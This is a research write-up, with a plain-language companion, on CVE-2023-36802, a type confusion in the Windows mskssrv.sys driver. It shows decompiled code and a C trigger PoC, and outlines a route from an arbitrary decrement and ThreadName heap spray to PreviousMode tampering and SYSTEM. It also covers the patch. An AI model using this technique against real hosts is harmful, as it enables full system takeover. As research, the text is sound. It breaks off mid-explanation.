Chaining N-days to Compromise All: Part 6 — Windows Kernel LPE: Get SYSTEM
The mskssrv.sys driver treated a smaller FSContextReg object as if it were an FSStreamReg object, so a caller could reach out-of-bounds fields and cause an arbitrary decrement. An attacker with limited privileges could use this to raise their own thread's privilege level and gain SYSTEM on the host.
medium.com
Published on medium.com
Vulnerability Research
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is the final post in a series about the vulnerabilities used in a 1-day full chain exploit that Theori demonstrated on X. The goal of this last stage is to go from VMware's limited privilege to SYSTEM, giving full authority over the host computer.
The vulnerability is CVE-2023-36802, a type confusion in the mskssrv.sys driver. It is the same driver targeted by CVE-2023-29360, covered in the third post of the series, so the communication path through DeviceIoControl, the handling of Ioctl requests and similar background are not repeated here. The author recommends reading that third post first.
The bug was exploited in the wild and detected by several threat intelligence groups. IBM X-Force published an analysis, and chompie1337 released PoC code in October. Theori's own threat intelligence service, Fermium-252, has held both a PoC and an exploit for this vulnerability since September 2023.
Setup
The patch analysis compares two builds of ntoskrnl.exe (x64): 10.0.19041.3086 and 10.0.19041.3448. Triggering the bug requires opening the kernel streaming service device and issuing IOCTLs to it. The PoC shown below opens the device through this link:
\\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}
Running the trigger with Driver Verifier enabled on mskssrv.sys produces a crash, which is how the bug is confirmed.
Finding it
Two object types behind one pointer
Users reach FSRendezvousServer::PublishTx when the IoControlCode is 0x2F0408. That function reads FsContext2 from the file object and passes it to FSRendezvousServer::FindObject:
__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp){ ... FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2; isfindobj = FSRendezvousServer::FindObject(this, FsContext2); KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0); if ( isfindobj ) { (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2); result = FSStreamReg::PublishTx(FsContext2, data);
After validating the user-supplied values, FSStreamReg::PublishTx is called with FsContext2 as its first argument, so FsContext2 is used as the this value of a function that expects an FSStreamReg object.
To make FsContext2 an FSStreamReg, FSRendezvousServer::InitializeStream must be called, reachable with IoControlCode 0x2F0404. It allocates the object with operator new(0x1D8ui64, ...), runs the FSStreamReg constructor and FSStreamReg::Initialize, and stores the pointer in obj->FileObject->FsContext2.
The type check
FSRendezvousServer::FindObject shows that there are two kinds of object, distinguished by a type number at offset 0x30 of FsContext2:
char __fastcall FSRendezvousServer::FindObject(FSRendezvousServer *this, __int64 FsContext2){ if ( FsContext2 ) { if ( *(_DWORD *)(FsContext2 + 0x30) == 1 ) { ... while ( 1 ) { Type1RegObj = *(_QWORD **)(this + 0x90); if ( !Type1RegObj || (_QWORD *)*Type1ListHead == Type1ListHead || Type1RegObj == Type1ListHead ) break; if ( Type1RegObj != (_QWORD *)8 && Type1RegObj[3] == FsContext2 ) return 1; FSRegObjectList::MoveNext((FSRendezvousServer *)((char *)this + 0x70)); } } else { ... while ( 1 ) { Type2RegObj = *(_QWORD **)(this + 0x60); if ( !Type2RegObj || (_QWORD *)*Type2ListHead == Type2ListHead || Type2RegObj == Type2ListHead ) break; if ( Type2RegObj != (_QWORD *)8 && Type2RegObj[3] == FsContext2 ) return 1; FSRegObjectList::MoveNext((FSRendezvousServer *)((char *)this + 0x40)); } } } return 0;}
The FSStreamReg constructor sets the type number to 2 and records the size 0x1D8:
__int64 __fastcall FSStreamReg::FSStreamReg(__int64 FSStreamReg){ ... *(_QWORD *)FSStreamReg = &FSStreamReg::`vftable'; *(_QWORD *)(FSStreamReg + 0x20) = FSStreamReg; *(_DWORD *)(FSStreamReg + 0x30) = 2; // Type == 2 *(_DWORD *)(FSStreamReg + 0x34) = 0x1D8; // Size == 0x1D8 ... return FSStreamReg;}
Analysing the driver further reveals a second object, FSContextReg, with type number 1, created in FSRendezvousServer::InitializeContext:
__int64 __fastcall FSRendezvousServer::InitializeContext(FSRendezvousServer *this, struct _IRP *a2){ ... FSContextReg = (__int64)operator new(0x78ui64, (enum _POOL_TYPE)a2, 0x67657243u); if ( FSContextReg ) { ... *(_QWORD *)FSContextReg = &FSContextReg::`vftable'; // Setup VTable *(_QWORD *)(FSContextReg + 0x20) = FSContextReg; *(_DWORD *)(FSContextReg + 0x30) = 1; // Type == 1 *(_DWORD *)(FSContextReg + 0x34) = 0x78; // Size == 0x78 ... } ... obj->FileObject->FsContext2 = (PVOID)FSContextReg; ...}
Why it is a type confusion
FSContextReg is 0x78 bytes and FSStreamReg is 0x1D8. A child class inherits all fields of its parent, so it can never be smaller than the parent. The size difference therefore shows that FSContextReg does not inherit from FSStreamReg. Yet FSRendezvousServer::FindObject accepts a FSContextReg (type 1) as valid, and the validation routine after it does not stop the object from being passed as the first argument of FSStreamReg::PublishTx. The result is a type confusion: FSStreamReg::PublishTx treats a FSContextReg as an FSStreamReg even though the two types have no inheritance relationship.
Because the two objects differ in size, the confusion produces out-of-bounds access. FSStreamReg::PublishTx and FSStreamReg::CheckRecycle read fields at offsets such as 0x130, 0x1B0, 0x1B8 and 0x1BC, all beyond the end of a 0x78-byte FSContextReg:
__int64 __fastcall FSStreamReg::PublishTx(__int64 FsStreamReg, __int64 data){ result = FSStreamReg::CheckRecycle(FsStreamReg, data); ... kEvent = *(struct _KEVENT **)(FsStreamReg + 0x130); if ( kEvent ) { KeSetEvent(kEvent, 0, 0); FSFrameMdlobj = 0i64;LABEL_21: if ( FSFrameMdlobj ) { FSFrameMdl::~FSFrameMdl(FSFrameMdlobj); operator delete(FSFrameMdlobj); } } ...}__int64 __fastcall FSStreamReg::CheckRecycle(__int64 this, __int64 data){ if ( data ) { value1 = *(_DWORD *)(data + 0x24); if ( value1 ) { ... v12 = *(_QWORD *)(this + 0x1B0); v13 = v5 + *(_DWORD *)(this + 0x1BC); v14 = *(int *)(this + 0x1B8); ...}
An attacker can shape the memory layout around the undersized object to control what those out-of-bounds reads see, turning the bug into a useful primitive.
Exploitation
Step 1: create a FSContextReg object
FSContextReg is created by FSRendezvousServer::InitializeContext, which is reached with IoControlCode 0x2F0400. The entry point allocates the rendezvous server object and calls into it:
__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1){ ... RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u); if(RendezvousServerObj){ } ServerObj_1C0005048 = RendezvousServerObj_; ... result = FSRendezvousServer::InitializeContext(RendezvousServerObj, a1); FSRendezvousServer::Release(RendezvousServerObj); return result;}
Step 2: trigger a vulnerable function
With the context object in place, any of the vulnerable functions can be invoked: FSRendezvousServer::PublishTx (0x2F0408), FSRendezvousServer::PublishRx (0x2F040C), FSRendezvousServer::ConsumeTx (0x2F0410) or FSRendezvousServer::ConsumeRx (0x2F0414). The PoC below uses FSStreamReg::PublishRx to trigger the type confusion:
#define inputsize 0x100#define outputsize 0x100int wmain(int argc, wchar_t** argv) { WCHAR DeviceLink[256] = L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}"; HANDLE hDevice = NULL; NTSTATUS ntstatus = 0; hDevice = CreateFile( DeviceLink, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0x80, NULL ); PCHAR inputBuffer = (PCHAR)malloc(inputsize); PCHAR outputBuffer = (PCHAR)malloc(outputsize); printf("[+] Initialize Rendezvous\n"); memset(inputBuffer, 0, inputsize); *(DWORD*)(inputBuffer + 0x00) = 0xffffffff; *(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); *(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; *(DWORD64*)(inputBuffer + 0x18) = 0; ntstatus = DeviceIoControl(hDevice, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); printf("[+] Publish RX --> Trigger OOB Access Vulnerability\n"); memset(inputBuffer, 0, inputsize); *(DWORD*)(inputBuffer + 0x20) = 1; *(DWORD*)(inputBuffer + 0x24) = 1; *(DWORD64*)(inputBuffer + 0x30) = 0; ntstatus = DeviceIoControl(hDevice, 0x2F040C, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); }
The first DeviceIoControl call uses 0x2F0400; the input buffer holds 0xffffffff, the current process ID, 0x4343434344444444 and zero. The second call with 0x2F040C reaches the confused code path and performs the out-of-bounds access.
With Driver Verifier enabled on mskssrv.sys, the trigger crashes. The debugger output shows the fault inside FSStreamReg::PublishRx:
The dump shows the value 0000000000000002at offset0x30and0000007800000001 at offset 0x34, followed by the marker 4343434344444444and then unreadable memory past the end of the allocation, which is where the out-of-bounds access lands. The bugcheck is0x00000050(page fault) withMSKSSRV.sys` named as the driver at fault.
Step 3: turn the OOB access into an arbitrary decrement
To exploit the bug, the author analysed how the out-of-bounds data is used and found an arbitrary decrement primitive in FSStreamReg::PublishRx:
__int64 __fastcall FSStreamReg::PublishRx(__int64 this, __int64 data){ ... FrameListHead = (_QWORD *)(this + 0x188); if ( (_QWORD *)*FrameListHead == FrameListHead ) return (unsigned int)0xC0000010; for ( i = 0; i < *(_DWORD *)(data + 0x24); ++i ) { if ( (_QWORD *)*FrameListHead != FrameListHead ) *(_QWORD *)(this + 0x198) = *FrameListHead; while ( 1 ) { FrameMDL = *(_QWORD *)(this + 0x198); if ( !FrameMDL || (_QWORD *)*FrameListHead == FrameListHead || (_QWORD *)this_0x198 == FrameListHead ) break; if ( *(_QWORD *)(FrameMDL + 0x20) == *(_QWORD *)(136i64 * i + data + 0x30) ) { some_flag = *(_DWORD *)(FrameMDL + 0xD0); FSFrameMdl::UnmapPages(FrameMDL); if ( some_flag ) { ObfDereferenceObject(*(PVOID *)(this + 0x38)); ObfDereferenceObject(*(PVOID *)(this + 0x1C8)); } } ...
FSStreamReg::PublishRx reads offsets 0x188 and 0x198 to walk a frame list and find a suitable FrameMDL object. Both offsets lie in the out-of-bounds area, so the attacker can place controllable values there. That makes the conditions easy to satisfy and lets execution reach the arbitrary decrement: ObfDereferenceObject decrements the reference count of the object at this + 0x1C8, which is also in the out-of-bounds area.
Step 4: solve the heap layout problem
There is an obstacle. FSContextReg is 0x90 bytes including the 0x10-byte pool header, so it is served by the Low Fragmented Heap (LFH). The memory layout therefore has to be built from 0x90-byte allocations. Named pipe objects are widely used for this on NonPagedPool, because FSContextReg is allocated in NonPagedPool.

With the layout manipulated by named pipe objects, the picture shows the problem: offset 0x1C8 falls inside the header area of a named pipe object, which users cannot control. The decrement target would not be attacker-chosen.
Step 5: use ThreadName objects instead
The author searched for a better object and found ThreadName, set through NtSetInformationThread:
NTSTATUS __stdcall NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength){ ... switch(ThreadInformationClass) ... case ThreadNameInformation: if ( ThreadInformationLength == 16 ) { result = ObReferenceObjectByHandleWithTag(ThreadHandle, 0x400u, (POBJECT_TYPE)PsThreadType, prev_mode, 0x79517350u, &ThreadObj, 0i64); ... *(UNICODE_STRING *)ThreadName_Unicode = *(UNICODE_STRING *)ThreadInformation; ... NameMem = (char *)ExAllocatePoolWithTag(NonPagedPoolNx, ThreadName_Unicode.Length + 16i64, 0x6D4E6854u); ThreadName = (_UNICODE_STRING *)NameMem; if(ThreadName) { NameArea = (wchar_t *)(NameMem + 0x10); ThreadName->Buffer = NameArea; ThreadName->Length = ThreadName_Unicode.Length; ThreadName->MaximumLength = ThreadName_Unicode.Length; memmove(NameArea, ThreadName_Unicode.Buffer, ThreadName_Unicode.Length); ... OldName = ThreadObj->ThreadName; ThreadObj->ThreadName = ThreadName; ... if ( OldName ) ExFreePoolWithTag(OldName, 0x6D4E6854u); ... } ...}
ThreadName is set with ThreadNameInformation (0x26). The object is allocated in NonPagedPool with a desired size, and all of its data is fully controllable except the first 0x10 bytes. The code also frees the previous name object, which is useful for creating a hole in the heap.

With this object, the values at offsets 0x188 and 0x1C8 are fully under the attacker's control, and the arbitrary decrement can be triggered.
Step 6: from decrement to SYSTEM
Using the arbitrary decrement, the exploit changes the PreviousMode field of the current thread object from User(1) to Kernel(0). With a thread that has Kernel authority, any well-known privilege escalation method can be used to obtain SYSTEM.
Root cause
The driver stores two different object types in FileObject->FsContext2: FSContextReg (type 1, 0x78 bytes) and FSStreamReg (type 2, 0x1D8 bytes). FSRendezvousServer::FindObject accepts both types as valid, but the callers that follow, such as FSStreamReg::PublishTx and FSStreamReg::PublishRx, assume the pointer is always an FSStreamReg. Since FSContextReg is smaller and does not inherit from FSStreamReg, those functions read fields beyond the end of the allocation, giving out-of-bounds access that the attacker can steer by shaping the adjacent heap.
Impact
An attacker who can already run code with VMware's limited privilege can use this bug to raise their privilege to SYSTEM on the host, obtaining full authority over the host computer. The vulnerability was exploited in the wild, and the author notes that PoCs and exploits have existed since September 2023.
Fix
The patch renames FSRendezvousServer::FindObject to FSRendezvousServer::FindStreamObject and changes the type check so that only type 2 (FSStreamReg) objects are accepted:
-char __fastcall FSRendezvousServer::FindObject(FSRendezvousServer *this, __int64 FsContext2)+char __fastcall FSRendezvousServer::FindStreamObject(FSRendezvousServer *this, __int64 FsContext2){ if ( FsContext2 ) {- if ( *(_DWORD *)(FsContext2 + 0x30) == 1 ) // Check Type 1- {- FsContextList = (_QWORD *)((char *)this + 0x80);- /* Search Linked List to find FsContext2 */- }- else+ if ( *(_DWORD *)(FsContext2 + 0x30) == 2 ) // Check Type 2 { FsStreamList = (_QWORD *)((char *)this + 80); /* Search Linked List to find FsContext2 */ } } return 0;}
With the type 1 branch removed, a FSContextReg object can no longer pass validation and reach the FSStreamReg code paths.
Variants to test
- Enumerate other IOCTL handlers in
mskssrv.systhat takeFsContext2and callFSStreamRegmethods. A positive result is a handler that accepts a type1object and reads fields past offset0x78. - Look for other drivers that store multiple object types in
FileObject->FsContext2and validate only a type tag. A positive result is a type check that accepts more than one type before a cast to a single concrete class. - Compare object sizes across sibling types in a driver. A positive result is a smaller type being accepted where a larger type is assumed, which implies out-of-bounds reads.
- Test
ThreadNameobjects as a heap spray primitive forNonPagedPoolallocations of a chosen size. A positive result is fully controlled contents after the first0x10bytes, plus a free path that lets you create holes. - Check whether named pipe objects can place attacker-controlled data at the offsets a primitive needs. A positive result is control at the target offset; a negative result is the offset landing in an uncontrollable header, as happened here at
0x1C8. - Look for reference-count decrements on attacker-influenced pointers, such as
ObfDereferenceObjecton an out-of-bounds field. A positive result is a decrement of a chosen value, which can flip fields likePreviousMode.
What happened, in plain words
This is the last part of a series about a chain of bugs that Theori used in a demonstration on X. A chain means several separate weaknesses used one after another, like a set of doors where each key opens the next one. The earlier parts got the attacker as far as VMware's limited privilege. This part covers the final step: going from that limited privilege to SYSTEM, the highest level of authority on a Windows computer.
The bug is CVE-2023-36802. The "CVE" part is just a catalogue number that security organisations give to a publicly known vulnerability, so people can talk about the same bug without confusion. This one lives in a driver called mskssrv.sys. A driver is a small program that runs inside the operating system kernel, the core of Windows that has total control over the machine. Drivers sit between normal programs and the hardware, and because they run in the kernel, a mistake in a driver can be far more serious than a mistake in an ordinary app.
The same driver was the target of an earlier bug, CVE-2023-29360, covered in the third post of the series. Because the way you talk to the driver is the same, the author skips that background here and recommends reading the third post first. That background includes how a program sends commands to a driver through something called DeviceIoControl, and how the driver handles those commands, called Ioctl requests. An IOCTL (short for input/output control) is a numbered command you send to a driver, a bit like pressing a button on a machine: you pick the button number and hand over some data.
The bug was found being used in real attacks, not just in a lab. Several threat intelligence groups detected it. Threat intelligence means watching for and analysing attacks that are actually happening. IBM X-Force published an analysis, and a researcher called chompie1337 released proof-of-concept code in October. Proof-of-concept (PoC) code is a small program that demonstrates a bug exists, usually by making it crash, without necessarily being a full attack. Theori's own threat intelligence service, Fermium-252, has held both a PoC and a working exploit for this vulnerability since September 2023.
Setup
To understand the fix, the author compared two builds of ntoskrnl.exe, the main Windows kernel program, for 64-bit systems (x64). The two builds are 10.0.19041.3086 and 10.0.19041.3448. Comparing an old and a new build is a common way to find out exactly what a security patch changed: whatever code differs between them is usually the fix.
To trigger the bug, a program has to open the kernel streaming service device and send it IOCTL commands. A device in Windows is not only hardware; drivers can expose named devices that programs open like files. The PoC opens the device through this link:
\\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}
This is a device path. The \\?\ prefix tells Windows this is a device name rather than a normal file path. The long strings in curly brackets are identifiers that pick out the specific device interface. Opening this path gives the program a handle, a kind of ticket it can use to send commands to the driver.
Running the trigger with Driver Verifier enabled on mskssrv.sys produces a crash, which is how the bug is confirmed. Driver Verifier is a built-in Windows tool that watches a driver closely and deliberately crashes the machine when the driver does something illegal, so bugs that might otherwise pass silently become visible.
Finding it
Two object types behind one pointer
When a program sends the IOCTL with code 0x2F0408, the driver reaches a function called FSRendezvousServer::PublishTx. That function reads a value called FsContext2 from the file object and passes it to FSRendezvousServer::FindObject:
__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp){ ... FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2; isfindobj = FSRendezvousServer::FindObject(this, FsContext2); KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0); if ( isfindobj ) { (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2); result = FSStreamReg::PublishTx(FsContext2, data);
Line by line, in plain words:
- The function receives two things:
this, a pointer to the rendezvous server object, andirp, a structure describing the request that came in. A pointer is simply a number that says where in memory something sits. - It reads
FsContext2from the file object.FsContext2is a slot the driver uses to remember which of its own objects belongs to this open file. Think of it as a coat-check ticket: the file holds the ticket, and the driver uses it to fetch the right coat. - It asks
FSRendezvousServer::FindObjectwhether that object is one the server knows about. The answer is stored inisfindobj. - It releases a mutex. A mutex is a lock that stops two parts of the program from touching the same data at once, like a single key to a shared room.
- If the object was found, it calls a function through a table stored at the start of the object (the
+ 0x38offset), then callsFSStreamReg::PublishTx, passingFsContext2as the first argument.
That last point is the heart of the problem. FsContext2 is used as the this value of a function that expects an FSStreamReg object. In other words, the code assumes the coat on the ticket is an FSStreamReg, without proving it.
To make FsContext2 an FSStreamReg, the program has to call FSRendezvousServer::InitializeStream, which is reachable with IOCTL code 0x2F0404. That function allocates the object with operator new(0x1D8ui64, ...), runs the FSStreamReg constructor and FSStreamReg::Initialize, and stores the pointer in obj->FileObject->FsContext2. Allocating means reserving a block of memory; 0x1D8 is the size in bytes, written in hexadecimal (base 16), which is how low-level programmers usually write memory sizes.
The type check
FSRendezvousServer::FindObject shows that there are two kinds of object, told apart by a type number stored at offset 0x30 of FsContext2. An offset is a distance from the start of a block of memory: offset 0x30 means 48 bytes in.
char __fastcall FSRendezvousServer::FindObject(FSRendezvousServer *this, __int64 FsContext2){ if ( FsContext2 ) { if ( *(_DWORD *)(FsContext2 + 0x30) == 1 ) { ... while ( 1 ) { Type1RegObj = *(_QWORD **)(this + 0x90); if ( !Type1RegObj || (_QWORD *)*Type1ListHead == Type1ListHead || Type1RegObj == Type1ListHead ) break; if ( Type1RegObj != (_QWORD *)8 && Type1RegObj[3] == FsContext2 ) return 1; FSRegObjectList::MoveNext((FSRendezvousServer *)((char *)this + 0x70)); } } else { ... while ( 1 ) { Type2RegObj = *(_QWORD **)(this + 0x60); if ( !Type2RegObj || (_QWORD *)*Type2ListHead == Type2ListHead || Type2RegObj == Type2ListHead ) break; if ( Type2RegObj != (_QWORD *)8 && Type2RegObj[3] == FsContext2 ) return 1; FSRegObjectList::MoveNext((FSRendezvousServer *)((char *)this + 0x40)); } } } return 0;}
In plain words:
- If
FsContext2is empty, the function returns 0, meaning "not found". - It reads the type number at offset
0x30. If it equals1, it walks one list of objects; otherwise it walks a different list. A linked list is a chain of items where each item points to the next, like a treasure hunt where each clue names the next location. - In each branch it loops through the list, comparing each entry against
FsContext2. If it finds a match, it returns 1, meaning "found". - If it reaches the end of the list without a match, it returns 0.
The important detail is that the function accepts both type 1 and type 2 objects as valid.
The FSStreamReg constructor sets the type number to 2 and records the size 0x1D8:
__int64 __fastcall FSStreamReg::FSStreamReg(__int64 FSStreamReg){ ... *(_QWORD *)FSStreamReg = &FSStreamReg::`vftable'; *(_QWORD *)(FSStreamReg + 0x20) = FSStreamReg; *(_DWORD *)(FSStreamReg + 0x30) = 2; // Type == 2 *(_DWORD *)(FSStreamReg + 0x34) = 0x1D8; // Size == 0x1D8 ... return FSStreamReg;}
A constructor is the code that sets up a new object when it is created. Here it writes a table of functions at the start of the object (the vftable, a list of function addresses used to dispatch calls), stores a pointer to itself at offset 0x20, writes the type number 2 at offset 0x30, and writes the size 0x1D8 at offset 0x34. The comments in the code spell out what each line means.
Analysing the driver further reveals a second object, FSContextReg, with type number 1, created in FSRendezvousServer::InitializeContext:
__int64 __fastcall FSRendezvousServer::InitializeContext(FSRendezvousServer *this, struct _IRP *a2){ ... FSContextReg = (__int64)operator new(0x78ui64, (enum _POOL_TYPE)a2, 0x67657243u); if ( FSContextReg ) { ... *(_QWORD *)FSContextReg = &FSContextReg::`vftable'; // Setup VTable *(_QWORD *)(FSContextReg + 0x20) = FSContextReg; *(_DWORD *)(FSContextReg + 0x30) = 1; // Type == 1 *(_DWORD *)(FSContextReg + 0x34) = 0x78; // Size == 0x78 ... } ... obj->FileObject->FsContext2 = (PVOID)FSContextReg; ...}
This function reserves 0x78 bytes, sets up its function table, writes type number 1 at offset 0x30 and size 0x78 at offset 0x34, and stores the pointer in FsContext2. So the same slot, FsContext2, can hold either a type 1 object of 0x78 bytes or a type 2 object of 0x1D8 bytes.
Why it is a type confusion
FSContextReg is 0x78 bytes and FSStreamReg is 0x1D8. In object-oriented programming, a child class inherits all fields of its parent, so it can never be smaller than the parent. A child class is a more specific version of a parent class, like "car" being a more specific "vehicle": a car has everything a vehicle has, plus more. The size difference therefore shows that FSContextReg does not inherit from FSStreamReg; they are unrelated types.
Yet FSRendezvousServer::FindObject accepts a FSContextReg (type 1) as valid, and the validation routine after it does not stop the object from being passed as the first argument of FSStreamReg::PublishTx. The result is a type confusion: FSStreamReg::PublishTx treats a FSContextReg as an FSStreamReg even though the two types have no inheritance relationship. Type confusion means the program believes an object is one kind when it is actually another, like reading a bus timetable as if it were a train timetable: the columns look similar, but the meaning is wrong.
Because the two objects differ in size, the confusion produces out-of-bounds access. Out-of-bounds means reading or writing memory outside the block that was reserved, like reading past the end of a page in a book and picking up whatever is printed on the next page. FSStreamReg::PublishTx and FSStreamReg::CheckRecycle read fields at offsets such as 0x130, 0x1B0, 0x1B8 and 0x1BC, all beyond the end of a 0x78-byte FSContextReg:
__int64 __fastcall FSStreamReg::PublishTx(__int64 FsStreamReg, __int64 data){ result = FSStreamReg::CheckRecycle(FsStreamReg, data); ... kEvent = *(struct _KEVENT **)(FsStreamReg + 0x130); if ( kEvent ) { KeSetEvent(kEvent, 0, 0); FSFrameMdlobj = 0i64;LABEL_21: if ( FSFrameMdlobj ) { FSFrameMdl::~FSFrameMdl(FSFrameMdlobj); operator delete(FSFrameMdlobj); } } ...}__int64 __fastcall FSStreamReg::CheckRecycle(__int64 this, __int64 data){ if ( data ) { value1 = *(_DWORD *)(data + 0x24); if ( value1 ) { ... v12 = *(_QWORD *)(this + 0x1B0); v13 = v5 + *(_DWORD *)(this + 0x1BC); v14 = *(int *)(this + 0x1B8); ...}
In plain words: PublishTx first calls CheckRecycle, then reads a pointer at offset 0x130 and, if it is not empty, signals an event. An event is a kernel object used to wake up a waiting thread, like ringing a bell. CheckRecycle reads values at offsets 0x1B0, 0x1B8 and 0x1BC. All of these offsets are past the end of a 0x78-byte object, so the code is reading whatever happens to sit next to it in memory.
An attacker can shape the memory layout around the undersized object to control what those out-of-bounds reads see, turning the bug into a useful primitive. A primitive in this context is a small, reliable capability, such as "read a value I chose" or "decrement a number I chose", that can be combined with other steps to build a full attack.
Exploitation
Step 1: create a FSContextReg object
FSContextReg is created by FSRendezvousServer::InitializeContext, which is reached with IOCTL code 0x2F0400. The entry point allocates the rendezvous server object and calls into it:
__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1){ ... RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u); if(RendezvousServerObj){ } ServerObj_1C0005048 = RendezvousServerObj_; ... result = FSRendezvousServer::InitializeContext(RendezvousServerObj, a1); FSRendezvousServer::Release(RendezvousServerObj); return result;}
This function reserves 0xA0 bytes for the server object, saves it, calls InitializeContext to create the context object, then releases the server object.
Step 2: trigger a vulnerable function
With the context object in place, any of the vulnerable functions can be invoked: FSRendezvousServer::PublishTx (0x2F0408), FSRendezvousServer::PublishRx (0x2F040C), FSRendezvousServer::ConsumeTx (0x2F0410) or FSRendezvousServer::ConsumeRx (0x2F0414). The PoC below uses FSStreamReg::PublishRx to trigger the type confusion:
#define inputsize 0x100#define outputsize 0x100int wmain(int argc, wchar_t** argv) { WCHAR DeviceLink[256] = L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}"; HANDLE hDevice = NULL; NTSTATUS ntstatus = 0; hDevice = CreateFile( DeviceLink, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0x80, NULL ); PCHAR inputBuffer = (PCHAR)malloc(inputsize); PCHAR outputBuffer = (PCHAR)malloc(outputsize); printf("[+] Initialize Rendezvous\n"); memset(inputBuffer, 0, inputsize); *(DWORD*)(inputBuffer + 0x00) = 0xffffffff; *(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); *(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; *(DWORD64*)(inputBuffer + 0x18) = 0; ntstatus = DeviceIoControl(hDevice, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); printf("[+] Publish RX --> Trigger OOB Access Vulnerability\n"); memset(inputBuffer, 0, inputsize); *(DWORD*)(inputBuffer + 0x20) = 1; *(DWORD*)(inputBuffer + 0x24) = 1; *(DWORD64*)(inputBuffer + 0x30) = 0; ntstatus = DeviceIoControl(hDevice, 0x2F040C, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); }
Line by line:
#define inputsize 0x100and#define outputsize 0x100set two constants: the input and output buffers are each 256 bytes.wmainis the entry point of the program.DeviceLinkholds the device path from the Setup section.CreateFileopens the device and returns a handle,hDevice. The flags ask for read and write access and say the device already exists. This is the same idea as opening a file, except the "file" is a driver device.- Two buffers are reserved with
malloc, one for input and one for output. These are the envelopes the program will hand to the driver and receive back. - The first
DeviceIoControlcall uses code0x2F0400to initialise the rendezvous context. Before the call, the input buffer is zeroed and filled:0xffffffffat offset0x00, the current process ID at0x08, a marker value0x4343434344444444at0x10, and zero at0x18. and zero at0x18. - The second
DeviceIoControlcall uses code0x2F040Cto publish an RX frame. The input buffer is zeroed again and filled with1at0x20,1at0x24and0at0x30. This call reaches the confused code path and performs the out-of-bounds access.
With Driver Verifier enabled on mskssrv.sys, the trigger crashes. The debugger output shows the fault inside FSStreamReg::PublishRx:
This is output from a kernel debugger, a tool that lets a developer inspect a running Windows kernel. kd> is its prompt. The r command prints the processor registers, the small storage slots inside the CPU. rip is the instruction pointer, the address of the instruction being executed; here it is inside MSKSSRV!FSStreamReg::PublishRx, meaning the crash happened in that function. The dq @rcx L18 command dumps 24 eight-byte values from the address in rcx, which is the object. In that dump you can see the type field 0000000000000002and size field0000007800000001 at the expected offsets, then the marker 4343434344444444, and then ????????entries, which the debugger prints when memory cannot be read. That unreadable memory is past the end of the allocation, exactly where the out-of-bounds access lands. The machine then reports a fatal system error, a bugcheck, with code0x00000050(page fault) and namesMSKSSRV.sys` as the driver at fault. A page fault means the processor tried to touch memory that is not valid.
Step 3: turn the OOB access into an arbitrary decrement
To exploit the bug, the author analysed how the out-of-bounds data is used and found an arbitrary decrement primitive in FSStreamReg::PublishRx. Arbitrary decrement means the attacker can subtract one from a number stored at an address they choose, which is a small but powerful ability:
__int64 __fastcall FSStreamReg::PublishRx(__int64 this, __int64 data){ ... FrameListHead = (_QWORD *)(this + 0x188); if ( (_QWORD *)*FrameListHead == FrameListHead ) return (unsigned int)0xC0000010; for ( i = 0; i < *(_DWORD *)(data + 0x24); ++i ) { if ( (_QWORD *)*FrameListHead != FrameListHead ) *(_QWORD *)(this + 0x198) = *FrameListHead; while ( 1 ) { FrameMDL = *(_QWORD *)(this + 0x198); if ( !FrameMDL || (_QWORD *)*FrameListHead == FrameListHead || (_QWORD *)this_0x198 == FrameListHead ) break; if ( *(_QWORD *)(FrameMDL + 0x20) == *(_QWORD *)(136i64 * i + data + 0x30) ) { some_flag = *(_DWORD *)(FrameMDL + 0xD0); FSFrameMdl::UnmapPages(FrameMDL); if ( some_flag ) { ObfDereferenceObject(*(PVOID *)(this + 0x38)); ObfDereferenceObject(*(PVOID *)(this + 0x1C8)); } } ...
In plain words:
FrameListHeadpoints to offset0x188of the object. If the list is empty, the function returns an error code0xC0000010.- It loops as many times as the number at offset
0x24of the input data says. - Inside the loop it reads a pointer at offset
0x198and follows a chain ofFrameMDLobjects. An MDL is a Windows structure that describes a block of memory, used when data has to be mapped or unmapped. - For each frame it compares a value at offset
